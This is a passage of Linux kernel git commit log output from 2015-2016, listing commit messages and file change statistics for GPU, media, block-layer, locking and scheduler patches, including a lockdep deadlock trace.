++--------------------- drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 39 ++--------- drivers/gpu/drm/amd/powerplay/inc/amd_powerplay.h | 4 +- drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 2 - 7 files changed, 79 insertions(+), 140 deletions(-) commit 884031f0aacf57dad1575f96714efc80de9b19cc Author: Alex Deucher Date: Mon Sep 19 12:35:22 2016 -0400 drm/radeon: narrow asic_init for virtualization Only needed on CIK+ due to the way pci reset is handled by the GPU. Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/radeon/radeon_device.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit fc76cbf45651f58284b8035ae1938e8ff5d19ee7 Author: Frank Min Date: Wed Apr 27 18:53:29 2016 +0800 drm/amdgpu:add fw version entry to info Signed-off-by: Frank Min Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cgs.c | 42 ++++++++++++++++++++++ drivers/gpu/drm/amd/include/cgs_common.h | 1 + drivers/gpu/drm/amd/powerplay/smumgr/fiji_smumgr.c | 0 3 files changed, 43 insertions(+) commit bec86378befae4155b58f80bb9d0da50080291e6 Author: Monk Liu Date: Wed Sep 14 19:38:08 2016 +0800 drm/amdgpu:determine if vPost is needed indeed Signed-off-by: Monk Liu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 48 +++++++++++++++++++++++++++--- 1 file changed, 44 insertions(+), 4 deletions(-) commit d14f291b6280a675b7bf129aa9a2d7a077554a31 Author: Heiner Kallweit Date: Sun Jul 31 10:42:55 2016 -0300 [media] media: rc: nuvoton: ignore spurious interrupt when logical device is being disabled When removing module nuvoton-cir I get a fifo overrun warning. It turned out to be caused by a spurious interrupt when the logical CIR device is being disabled (although no interrupt source bit being set). Reading the interrupt status register returns 0xff, therefore the fifo overrun bit is mistakenly interpreted as being set. Fix this by ignoring interrupts when interrupt source and status register reads return 0xff. Signed-off-by: Heiner Kallweit Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/nuvoton-cir.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 033919e0f8debfc2e5cfb13edf8fbdeff5b47b7d Author: Heiner Kallweit Date: Sun Jul 31 08:56:15 2016 -0300 [media] media: rc: fix deadlock when module ir_lirc_codec is removed When removing module ir_lirc_codec I got this deadlock warning. Fix this by introducing a separate mutex to protect access to available_protocols instead of using ir_raw_handler_lock for this purpose. ====================================================== [ INFO: possible circular locking dependency detected ] 4.7.0-next-20160729 #1 Not tainted ------------------------------------------------------- rmmod/2542 is trying to acquire lock: (&dev->lock){+.+.+.}, at: [] ir_raw_handler_unregister+0x77/0xd0 [rc_core] but task is already holding lock: (ir_raw_handler_lock){+.+.+.}, at: [] ir_raw_handler_unregister+0x22/0xd0 [rc_core] which lock already depends on the new lock. the existing dependency chain (in reverse order) is: -> #1 (ir_raw_handler_lock){+.+.+.}: [] lock_acquire+0xb2/0x1e0 [] mutex_lock_nested+0x5f/0x360 [] ir_raw_get_allowed_protocols+0x13/0x30 [rc_core] [] store_protocols+0x2fa/0x480 [rc_core] [] dev_attr_store+0x13/0x20 [] sysfs_kf_write+0x40/0x50 [] kernfs_fop_write+0x150/0x1e0 [] __vfs_write+0x23/0x120 [] vfs_write+0xb0/0x190 [] SyS_write+0x44/0xa0 [] entry_SYSCALL_64_fastpath+0x18/0xa8 -> #0 (&dev->lock){+.+.+.}: [] __lock_acquire+0x10fc/0x1270 [] lock_acquire+0xb2/0x1e0 [] mutex_lock_nested+0x5f/0x360 [] ir_raw_handler_unregister+0x77/0xd0 [rc_core] [] ir_lirc_codec_exit+0x10/0x12 [ir_lirc_codec] [] SyS_delete_module+0x168/0x220 [] entry_SYSCALL_64_fastpath+0x18/0xa8 other info that might help us debug this: Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(ir_raw_handler_lock); lock(&dev->lock); lock(ir_raw_handler_lock); lock(&dev->lock); *** DEADLOCK *** 1 lock held by rmmod/2542: #0: (ir_raw_handler_lock){+.+.+.}, at: [] ir_raw_handler_unregister+0x22/0xd0 [rc_core] stack backtrace: CPU: 0 PID: 2542 Comm: rmmod Not tainted 4.7.0-next-20160729 #1 Hardware name: ZOTAC ZBOX-CI321NANO/ZBOX-CI321NANO, BIOS B246P105 06/01/2015 0000000000000000 ffff88006e607cc0 ffffffff812715f5 ffffffff8232b230 ffffffff8232b230 ffff88006e607d00 ffffffff810a846e 00000000790107f0 ffff880079010818 ffff8800790107f0 1efeb9f4f0dd2e6f ffff880079010000 Call Trace: [] dump_stack+0x68/0x93 [] print_circular_bug+0x1be/0x210 [] __lock_acquire+0x10fc/0x1270 [] ? debug_lockdep_rcu_enabled+0x1d/0x20 [] lock_acquire+0xb2/0x1e0 [] ? ir_raw_handler_unregister+0x77/0xd0 [rc_core] [] mutex_lock_nested+0x5f/0x360 [] ? ir_raw_handler_unregister+0x77/0xd0 [rc_core] [] ? trace_hardirqs_on_caller+0xee/0x1b0 [] ir_raw_handler_unregister+0x77/0xd0 [rc_core] [] ir_lirc_codec_exit+0x10/0x12 [ir_lirc_codec] [] SyS_delete_module+0x168/0x220 [] entry_SYSCALL_64_fastpath+0x18/0xa8 Signed-off-by: Heiner Kallweit Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/rc-ir-raw.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 552001e67693487ce339ee6b72a3eeecb03b14e7 Author: Ole Ernst Date: Sat Jul 30 10:19:27 2016 -0300 [media] Partly revert "[media] rc-core: allow calling rc_open with device not initialized" This partly reverts commit 078600f514a12fd763ac84c86af68ef5b5267563. Due to the relocation of input_register_device() call, holding down a button on an IR remote no longer resulted in repeated key down events. Signed-off-by: Ole Ernst Tested-by: Matthias Reichl Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/rc-main.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 506823f6e7a349ba3f26f03f162733af64c300cc Author: Niklas Cassel Date: Thu Sep 22 16:08:38 2016 +0200 cris: intmem: fix pointer comparison compile warning The code previously depended on list_head being defined as the first item in struct intmem_allocation. arch/cris/arch-v32/mm/intmem.c: In function ‘crisv32_intmem_free’: arch/cris/arch-v32/mm/intmem.c:116:14: warning: comparison of distinct pointer types lacks a cast if ((prev != &intmem_allocations) && ^ arch/cris/arch-v32/mm/intmem.c:123:14: warning: comparison of distinct pointer types lacks a cast if ((next != &intmem_allocations) && ^ Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/arch-v32/mm/intmem.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 65d5291eee667b9b310123991234f2fb18e51548 Author: Sebastian Andrzej Siewior Date: Thu Sep 22 08:05:19 2016 -0600 blk-mq: Convert to new hotplug state machine Install the callbacks via the state machine so we can phase out the cpu hotplug notifiers mess. Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Thomas Gleixner Cc: Peter Zijlstra Cc: linux-block@vger.kernel.org Cc: rt@linutronix.de Cc: Christoph Hellwing Link: http://lkml.kernel.org/r/20160919212601.180033814@linutronix.de Signed-off-by: Thomas Gleixner Signed-off-by: Jens Axboe block/blk-mq.c | 87 +++++++++++++++++++++++++++++----------------------------- 1 file changed, 43 insertions(+), 44 deletions(-) commit 9467f85960a31d56f95371516e55e210e1e3d51c Author: Thomas Gleixner Date: Thu Sep 22 08:05:17 2016 -0600 blk-mq/cpu-notif: Convert to new hotplug state machine Replace the block-mq notifier list management with the multi instance facility in the cpu hotplug state machine. Signed-off-by: Thomas Gleixner Cc: Peter Zijlstra Cc: linux-block@vger.kernel.org Cc: rt@linutronix.de Cc: Christoph Hellwing Signed-off-by: Jens Axboe block/Makefile | 2 +- block/blk-mq-cpu.c | 67 -------------------------------------------------- block/blk-mq.c | 36 ++++++++++----------------- block/blk-mq.h | 7 ------ include/linux/blk-mq.h | 8 +----- 5 files changed, 15 insertions(+), 105 deletions(-) commit 9d74179a226c83dd610c487a27ac6082b768b074 Author: Jesper Nilsson Date: Thu Sep 22 16:03:52 2016 +0200 cris: intmem: fix device_initcall compile warning Cannot add __init macro to crisv32_intmem_init, since the function is being called by other functions. Creating a wrapper instead. arch/cris/arch-v32/mm/intmem.c: At top level: arch/cris/arch-v32/mm/intmem.c:148:17: warning: initialization from incompatible pointer type device_initcall(crisv32_intmem_init); ^ include/linux/init.h:184:58: note: in definition of macro ‘__define_initcall’ __attribute__((__section__(".initcall" #id ".init"))) = fn; \ arch/cris/arch-v32/mm/intmem.c:148:1: note: in expansion of macro ‘device_initcall’ device_initcall(crisv32_intmem_init); ^ Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/arch-v32/mm/intmem.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 5dfcfb02e18dec9a2f56765011817706e1ab1daf Merge: 491221f e2a738f Author: Jens Axboe Date: Thu Sep 22 08:01:45 2016 -0600 Merge branch 'smp/for-block' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip into for-4.9/block-smp commit 491221f88d00651e449c9caf7415b6453c8a77b7 Author: Guoqing Jiang Date: Thu Sep 22 03:10:01 2016 -0400 block: export bio_free_pages to other modules bio_free_pages is introduced in commit 1dfa0f68c040 ("block: add a helper to free bio bounce buffer pages"), we can reuse the func in other modules after it was imported. Cc: Christoph Hellwig Cc: Jens Axboe Cc: Mike Snitzer Cc: Shaohua Li Signed-off-by: Guoqing Jiang Acked-by: Kent Overstreet Signed-off-by: Jens Axboe block/bio.c | 3 ++- drivers/md/bcache/btree.c | 6 +----- drivers/md/bcache/debug.c | 6 ++---- drivers/md/bcache/movinggc.c | 5 +---- drivers/md/bcache/request.c | 9 ++------- drivers/md/bcache/writeback.c | 5 +---- drivers/md/dm-log-writes.c | 6 +----- drivers/md/raid1.c | 8 ++------ include/linux/bio.h | 1 + 9 files changed, 13 insertions(+), 36 deletions(-) commit 43e2ea63eb9781bc980cbcb954d26fec8ad108e6 Author: Antti Palosaari Date: Sat Aug 13 13:19:05 2016 -0300 [media] cxd2820r: convert to regmap api Use regmap for I2C register access. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/Kconfig | 1 + drivers/media/dvb-frontends/cxd2820r_c.c | 56 +++--- drivers/media/dvb-frontends/cxd2820r_core.c | 259 ++++++++++------------------ drivers/media/dvb-frontends/cxd2820r_priv.h | 6 +- drivers/media/dvb-frontends/cxd2820r_t.c | 55 +++--- drivers/media/dvb-frontends/cxd2820r_t2.c | 55 +++--- 6 files changed, 173 insertions(+), 259 deletions(-) commit d51dc917616c6c52daeeea3f93418f48f484ade5 Author: Antti Palosaari Date: Fri Aug 12 16:58:05 2016 -0300 [media] cxd2820r: improve lock detection Check demod and ts locks and report lock status according to those. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r_c.c | 29 ++++++++++++-------- drivers/media/dvb-frontends/cxd2820r_t.c | 44 ++++++++++++------------------- drivers/media/dvb-frontends/cxd2820r_t2.c | 26 ++++++++++-------- 3 files changed, 50 insertions(+), 49 deletions(-) commit c98975f92c1d488b273f10edfc6c48bab1c6e046 Author: Antti Palosaari Date: Tue Aug 9 22:00:37 2016 -0300 [media] cxd2820r: correct logging Use correct device for logging functions as we now have it due to proper I2C client bindings. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r_c.c | 33 +++++--- drivers/media/dvb-frontends/cxd2820r_core.c | 115 +++++++++++++++------------- drivers/media/dvb-frontends/cxd2820r_t.c | 32 +++++--- drivers/media/dvb-frontends/cxd2820r_t2.c | 34 ++++---- 4 files changed, 123 insertions(+), 91 deletions(-) commit 07fdf7d9f19fb601a0cc75c47ecd55aa26019eed Author: Antti Palosaari Date: Tue Aug 9 20:49:09 2016 -0300 [media] cxd2820r: add I2C driver bindings Add I2C driver bindings in order to support proper I2C driver registration with driver core. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r.h | 26 ++++ drivers/media/dvb-frontends/cxd2820r_c.c | 6 +- drivers/media/dvb-frontends/cxd2820r_core.c | 190 ++++++++++++++++++++++------ drivers/media/dvb-frontends/cxd2820r_priv.h | 7 +- drivers/media/dvb-frontends/cxd2820r_t.c | 6 +- drivers/media/dvb-frontends/cxd2820r_t2.c | 8 +- 6 files changed, 191 insertions(+), 52 deletions(-) commit 4aa4fd86bca5769c9884838501454ef4c486936d Author: Antti Palosaari Date: Tue Aug 9 14:58:21 2016 -0300 [media] cxd2820r: wrap legacy DVBv3 statistics via DVBv5 statistics Return DVBv5 statistics via legacy DVBv3 API. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r_c.c | 108 ---------------------------- drivers/media/dvb-frontends/cxd2820r_core.c | 85 ++++++---------------- drivers/media/dvb-frontends/cxd2820r_priv.h | 25 +------ drivers/media/dvb-frontends/cxd2820r_t.c | 94 ------------------------ drivers/media/dvb-frontends/cxd2820r_t2.c | 87 ---------------------- 5 files changed, 22 insertions(+), 377 deletions(-) commit 90d5d2e3f047164748e67ae7cf4d5a7bb6a8d0b3 Author: Antti Palosaari Date: Mon Aug 8 23:03:32 2016 -0300 [media] cxd2820r: dvbv5 statistics for DVB-C Implement dvbv5 statistics for DVB-C. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r_c.c | 104 ++++++++++++++++++++++++++++++- 1 file changed, 102 insertions(+), 2 deletions(-) commit 91171fb63e1b09fea18465248a748c48b0d33451 Author: Antti Palosaari Date: Mon Aug 8 21:12:00 2016 -0300 [media] cxd2820r: dvbv5 statistics for DVB-T2 Implement dvbv5 statistics for DVB-T2. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r_t2.c | 77 ++++++++++++++++++++++++++++++- 1 file changed, 76 insertions(+), 1 deletion(-) commit 2832fd3177d7d988348fc1bd8031daeea89396c9 Author: Antti Palosaari Date: Mon Aug 8 20:13:45 2016 -0300 [media] cxd2820r: dvbv5 statistics for DVB-T Implement dvbv5 statistics for DVB-T. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r_priv.h | 2 + drivers/media/dvb-frontends/cxd2820r_t.c | 88 +++++++++++++++++++++++++++++ 2 files changed, 90 insertions(+) commit fcd09f6592cc1d55dea1571297ad88b9024de80c Author: Antti Palosaari Date: Mon Aug 8 15:54:10 2016 -0300 [media] cxd2820r: improve IF frequency setting Use 64-bit calculation. Return error if tuner does not provide get_if_frequency() callback. All currently used tuners has it. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2820r_c.c | 26 +++++++++++------------ drivers/media/dvb-frontends/cxd2820r_priv.h | 2 ++ drivers/media/dvb-frontends/cxd2820r_t.c | 27 ++++++++++++----------- drivers/media/dvb-frontends/cxd2820r_t2.c | 33 ++++++++++++++--------------- 4 files changed, 43 insertions(+), 45 deletions(-) commit 7d4b64028c4bc8db01047b852777dbded4635de6 Author: Sakari Ailus Date: Wed Apr 27 10:15:52 2016 -0300 [media] media: Add flags to tell whether to take graph mutex for an IOCTL New IOCTLs (especially for the request API) do not necessarily need the graph mutex acquired. Leave this up to the drivers. Signed-off-by: Sakari Ailus Reviewed-by: Laurent Pinchart Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/media-device.c | 37 +++++++++++++++++++++++-------------- 1 file changed, 23 insertions(+), 14 deletions(-) commit d32cdbfb0ba319e44f75437afde868f7cafdc467 Author: Peter Zijlstra Date: Mon Nov 23 18:36:16 2015 +0100 locking/lglock: Remove lglock implementation It is now unused, remove it before someone else thinks its a good idea to use this. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar Documentation/locking/lglock.txt | 166 --------------------------------------- include/linux/lglock.h | 76 ------------------ kernel/locking/Makefile | 1 - kernel/locking/lglock.c | 89 --------------------- 4 files changed, 332 deletions(-) commit bcd5081b05367d108c1380369c698a4601c41cfc Author: Sakari Ailus Date: Tue May 3 18:42:13 2016 -0300 [media] media: Refactor copying IOCTL arguments from and to user space Refactor copying the IOCTL argument structs from the user space and back, in order to reduce code copied around and make the implementation more robust. As a result, the copying is done while not holding the graph mutex. Signed-off-by: Sakari Ailus Acked-by: Hans Verkuil Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/media-device.c | 176 ++++++++++++++++++++----------------------- 1 file changed, 83 insertions(+), 93 deletions(-) commit e6253970413d99f416f7de8bd516e5f1834d8216 Author: Oleg Nesterov Date: Sat Nov 21 19:11:48 2015 +0100 stop_machine: Remove stop_cpus_lock and lg_double_lock/unlock() stop_two_cpus() and stop_cpus() use stop_cpus_lock to avoid the deadlock, we need to ensure that the stopper functions can't be queued "backwards" from one another. This doesn't look nice; if we use lglock then we do not really need stopper->lock, cpu_stop_queue_work() could use lg_local_lock() under local_irq_save(). OTOH it would be even better to avoid lglock in stop_machine.c and remove lg_double_lock(). This patch adds "bool stop_cpus_in_progress" set/cleared by queue_stop_cpus_work(), and changes cpu_stop_queue_two_works() to busy wait until it is cleared. queue_stop_cpus_work() sets stop_cpus_in_progress = T lockless, but after it queues a work on CPU1 it must be visible to stop_two_cpus(CPU1, CPU2) which checks it under the same lock. And since stop_two_cpus() holds the 2nd lock too, queue_stop_cpus_work() can not clear stop_cpus_in_progress if it is also going to queue a work on CPU2, it needs to take that 2nd lock to do this. Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Rik van Riel Cc: Tejun Heo Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20151121181148.GA433@redhat.com Signed-off-by: Ingo Molnar include/linux/lglock.h | 5 ----- kernel/locking/lglock.c | 22 ---------------------- kernel/stop_machine.c | 42 ++++++++++++++++++++++++++---------------- 3 files changed, 26 insertions(+), 43 deletions(-) commit 87709e28dc7c669af1126aa7352ff6f7b035412d Author: Peter Zijlstra Date: Mon May 30 16:48:35 2016 +0200 fs/locks: Use percpu_down_read_preempt_disable() Avoid spurious preemption. Signed-off-by: Peter Zijlstra (Intel) Cc: Al Viro Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dave@stgolabs.net Cc: der.herr@hofr.at Cc: paulmck@linux.vnet.ibm.com Cc: riel@redhat.com Cc: tj@kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar fs/locks.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 259d69b7f056bc9a543c7d184e791ef6c2775081 Author: Peter Zijlstra Date: Mon Nov 23 15:23:55 2015 +0100 locking/percpu-rwsem: Add down_read_preempt_disable() Provide a down_read()/up_read() variant that keeps preemption disabled over the whole thing, when possible. This avoids a needless preemption point for constructs such as: percpu_down_read(&global_rwsem); spin_lock(&lock); ... spin_unlock(&lock); percpu_up_read(&global_rwsem); Which perturbs timings. In particular it was found to cure a performance regression in a follow up patch in fs/locks.c Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar include/linux/percpu-rwsem.h | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) commit 7c3f654d8e18942295eeda42f7d75494443980e0 Author: Peter Zijlstra Date: Mon Jun 22 14:16:34 2015 +0200 fs/locks: Replace lg_local with a per-cpu spinlock As Oleg suggested, replace file_lock_list with a structure containing the hlist head and a spinlock. This completely removes the lglock from fs/locks. Suggested-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Al Viro Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dave@stgolabs.net Cc: der.herr@hofr.at Cc: paulmck@linux.vnet.ibm.com Cc: riel@redhat.com Cc: tj@kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar fs/Kconfig | 1 + fs/locks.c | 47 +++++++++++++++++++++++++++++------------------ 2 files changed, 30 insertions(+), 18 deletions(-) commit aba37660738325d48c913f3a952a7116d6e6a74b Author: Peter Zijlstra Date: Mon Jun 22 14:16:33 2015 +0200 fs/locks: Replace lg_global with a percpu-rwsem Replace the global part of the lglock with a percpu-rwsem. Since fcl_lock is a spinlock and itself nests under i_lock, which too is a spinlock we cannot acquire sleeping locks at locks_{insert,remove}_global_locks(). We can however wrap all fcl_lock acquisitions with percpu_down_read such that all invocations of locks_{insert,remove}_global_locks() have that read lock held. This allows us to replace the lg_global part of the lglock with the write side of the rwsem. In the absense of writers, percpu_{down,up}_read() are free of atomic instructions. This further avoids the very long preempt-disable regions caused by lglock on larger machines. Signed-off-by: Peter Zijlstra (Intel) Cc: Al Viro Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dave@stgolabs.net Cc: der.herr@hofr.at Cc: paulmck@linux.vnet.ibm.com Cc: riel@redhat.com Cc: tj@kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar fs/locks.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit 11d9684ca638aad99f740ef3abcba2aa4c9290bf Author: Peter Zijlstra Date: Mon Jun 22 14:16:31 2015 +0200 locking/percpu-rwsem: Add DEFINE_STATIC_PERCPU_RWSEMand percpu_rwsem_assert_held() Provide a static init and a standard locking assertion method. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dave@stgolabs.net Cc: der.herr@hofr.at Cc: oleg@redhat.com Cc: paulmck@linux.vnet.ibm.com Cc: riel@redhat.com Cc: tj@kernel.org Cc: viro@ZenIV.linux.org.uk Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar include/linux/percpu-rwsem.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit b193049375b04df3ada8c3347b7083db95918bc3 Author: Pan Xinhui Date: Mon Sep 19 05:23:52 2016 -0400 locking/pv-qspinlock: Use cmpxchg_release() in __pv_queued_spin_unlock() cmpxchg_release() is more lighweight than cmpxchg() on some archs(e.g. PPC), moreover, in __pv_queued_spin_unlock() we only needs a RELEASE in the fast path(pairing with *_try_lock() or *_lock()). And the slow path has smp_store_release too. So it's safe to use cmpxchg_release here. Suggested-by: Boqun Feng Signed-off-by: Pan Xinhui Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: benh@kernel.crashing.org Cc: linuxppc-dev@lists.ozlabs.org Cc: mpe@ellerman.id.au Cc: paulmck@linux.vnet.ibm.com Cc: paulus@samba.org Cc: virtualization@lists.linux-foundation.org Cc: waiman.long@hpe.com Link: http://lkml.kernel.org/r/1474277037-15200-2-git-send-email-xinhui.pan@linux.vnet.ibm.com Signed-off-by: Ingo Molnar kernel/locking/qspinlock_paravirt.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6975264c4c6c00c88099b8927bac52838507cea9 Author: Sakari Ailus Date: Tue May 3 18:35:12 2016 -0300 [media] media: Unify IOCTL handler calling Each IOCTL handler can be listed in an array instead of using a large and cumbersome switch. Do that. Signed-off-by: Sakari Ailus Reviewed-by: Laurent Pinchart Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/media-device.c | 51 +++++++++++++------------------------------- 1 file changed, 15 insertions(+), 36 deletions(-) commit cf439d5f4d609b296cabf9a896fcf571b57e260b Author: Sakari Ailus Date: Wed Apr 27 09:39:17 2016 -0300 [media] media: Determine early whether an IOCTL is supported Preparation for refactoring media IOCTL handling to unify common parts. Signed-off-by: Sakari Ailus Reviewed-by: Laurent Pinchart Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/media-device.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 7cf0f1426a909ed36a8b349a4a975e0d68b5edad Merge: c907420 9bf6ffd Author: Ingo Molnar Date: Thu Sep 22 15:21:48 2016 +0200 Merge branch 'locking/urgent' into locking/core, to pick up fixes Signed-off-by: Ingo Molnar commit a18a579e5f84daa74f64b1f1b652b4a6a8d6f8b4 Author: Peter Zijlstra Date: Tue Sep 20 11:05:31 2016 +0200 sched/debug: Hide printk() by default Dietmar accidentally added an unconditional sched domain printk. Hide it behind the normal sched_debug flag. Reported-by: Christian Borntraeger Signed-off-by: Peter Zijlstra (Intel) Acked-by: Christian Borntraeger Cc: Dietmar Eggemann Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Fixes: cd92bfd3b8cb ("sched/core: Store maximum per-CPU capacity in root domain") [ Fixed !SCHED_DEBUG build failure. ] Signed-off-by: Ingo Molnar kernel/sched/core.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8bf46a39be910937d4c9e8d999a7438a7ae1a75b Author: Srivatsa Vaddagiri Date: Fri Sep 16 18:28:51 2016 -0700 sched/fair: Fix SCHED_HRTICK bug leading to late preemption of tasks SCHED_HRTICK feature is useful to preempt SCHED_FAIR tasks on-the-dot (just when they would have exceeded their ideal_runtime). It makes use of a per-CPU hrtimer resource and hence arming that hrtimer should be based on total SCHED_FAIR tasks a CPU has across its various cfs_rqs, rather than being based on number of tasks in a particular cfs_rq (as implemented currently). As a result, with current code, its possible for a running task (which is the sole task in its cfs_rq) to be preempted much after its ideal_runtime has elapsed, resulting in increased latency for tasks in other cfs_rq on same CPU. Fix this by arming sched hrtimer based on total number of SCHED_FAIR tasks a CPU has across its various cfs_rqs. Signed-off-by: Srivatsa Vaddagiri Signed-off-by: Joonwoo Park Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1474075731-11550-1-git-send-email-joonwoop@codeaurora.org Signed-off-by: Ingo Molnar kernel/sched/fair.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2950da489520ed66da0934d04ebeb32054263e12 Author: Sylwester Nawrocki Date: Tue Sep 13 08:59:49 2016 -0300 [media] exynos4-is: add of_platform_populate() call for FIMC-IS child devices Instead of relying on the "simple-bus" compatible and the driver core populating FIMC-IS child devices make the fimc-is driver populating its child devices. This prevents issues related to accessing ISP_I2C clock registers with corresponding power domain switched off, which popped out after applying some pending IOMMU driver patches. Now the I2C_ISP child devices will be instantiated only when required parent device drivers are initialized and ready. Signed-off-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos4-is/fimc-is.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 056c61eb0da4d7181fc7072567dc1931cb0e1cbb Author: Sylwester Nawrocki Date: Tue Sep 13 11:39:33 2016 -0300 [media] exynos4-is: Clear isp-i2c adapter power.ignore_children flag Since commit 04f59143b571161d25315dd52d7a2ecc022cb71a ("i2c: let I2C masters ignore their children for PM") the power.ignore_children flag is set when registering an I2C adapter. Since I2C transfers are not managed by the fimc-isp-i2c driver its clients use pm_runtime_* calls directly to communicate required power state of the bus controller. However, when the power.ignore_children flag is set that doesn't work, so clear that flag back after registering the adapter. While at it drop pm_runtime_enable() call on the i2c_adapter as it is already done by the I2C subsystem when registering I2C adapter. This patch is meant as a minimal change to fix the regression, eventually the I2C_ISPx clock handling will be moved to the top level fimc-is driver and whole runtime PM code is going to be dropped from the fimc-is-i2c module. Cc: # 4.7+ Reported-by: Marek Szyprowski Signed-off-by: Sylwester Nawrocki Reviewed-by: Bartlomiej Zolnierkiewicz Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos4-is/fimc-is-i2c.c | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) commit cb47b415fd5cda7c9ef8f9d158e59f8af5bcb094 Author: Sylwester Nawrocki Date: Thu Sep 1 08:47:07 2016 -0300 [media] s5c73m3: Fix entity function assignment for the OIF subdev Suppresses warnings like: s5p-fimc-md camera: Entity type for entity S5C73M3-OIF was not initialized! Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/s5c73m3/s5c73m3-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 654fa103920d92f01dac6ae2290ed9261b2b7866 Author: Sylwester Nawrocki Date: Thu Sep 1 08:47:06 2016 -0300 [media] s5k6a3: Add missing entity function initialization Suppresses warning like: s5p-fimc-md camera: Entity type for entity S5K6A3 13-0010 was not initialized! Signed-off-by: Sylwester Nawrocki Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/s5k6a3.c | 1 + 1 file changed, 1 insertion(+) commit bae4500399c4243d6ce8933817ca7c7005886727 Author: Sylwester Nawrocki Date: Thu Sep 1 08:47:05 2016 -0300 [media] exynos4-is: Add missing entity function initialization Suppresses following warnings: s5p-fimc-md camera: Entity type for entity FIMC.0 was not initialized! s5p-fimc-md camera: Entity type for entity FIMC.1 was not initialized! s5p-fimc-md camera: Entity type for entity s5p-mipi-csis.0 was not initialized! s5p-fimc-md camera: Entity type for entity 